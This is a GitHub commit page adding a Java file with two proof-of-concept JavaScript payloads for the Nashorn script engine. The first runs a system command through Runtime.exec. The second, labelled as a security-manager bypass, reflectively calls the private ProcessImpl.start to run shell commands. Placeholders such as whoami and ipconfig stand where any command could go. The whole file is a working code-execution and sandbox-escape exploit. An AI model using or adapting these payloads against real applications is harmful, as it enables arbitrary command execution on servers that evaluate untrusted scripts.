Skip to content

Commit 754e0ab

Browse files
authored
Create main.java
1 parent 72d654f commit 754e0ab

1 file changed

Lines changed: 39 additions & 0 deletions

File tree

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
import javax.script.ScriptEngine;
2+
import javax.script.ScriptEngineManager;
3+
4+
public class main {
5+
public static void main(String[] args) throws Exception {
6+
String poc1 = "var s = [3];\n" +
7+
"s[0] = \"cmd\";\n" +
8+
"s[1] = \"/c\";\n" +
9+
"s[2] = \"whoami\";" +
10+
"var p = java.lang.Runtime.getRuntime().exec(s);\n" +
11+
"var sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");\n" +
12+
"var result = sc.hasNext() ? sc.next() : \"\";\n" +
13+
"print(result);sc.close();";
14+
15+
String bypass_sm_exp = "var str = Java.type('java.lang.String[]').class;" +
16+
"var map = Java.type('java.util.Map').class;" +
17+
"var string = Java.type('java.lang.String').class;" +
18+
"var Redirect = Java.type('java.lang.ProcessBuilder.Redirect[]').class;" +
19+
"var boolean = Java.type('boolean').class;" +
20+
"var c = java.lang.Class.forName('java.lang.ProcessImpl');" +
21+
"var start = c.getDeclaredMethod('start',str,map,string,Redirect,boolean);" +
22+
"start.setAccessible(true);" +
23+
"var anArray = [\"cmd\", \"/c\", \"ipconfig\"];" +
24+
"var cmd = Java.to(anArray, Java.type(\"java.lang.String[]\"));" +
25+
"var input = start.invoke(null,cmd,null,null,null,false).getInputStream();" +
26+
"var reader = new java.io.BufferedReader(new java.io.InputStreamReader(input));" +
27+
"var stringBuilder = new java.lang.StringBuilder();" +
28+
"var line = null;" +
29+
"while((line = reader.readLine())!=null){" +
30+
"stringBuilder.append(line);" +
31+
"stringBuilder.append('\\r\\n');"+
32+
"}" +
33+
"stringBuilder.toString();" +
34+
"print(stringBuilder)";
35+
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
36+
engine.eval(bypass_sm_exp);
37+
}
38+
39+
}

0 commit comments

Comments
 (0)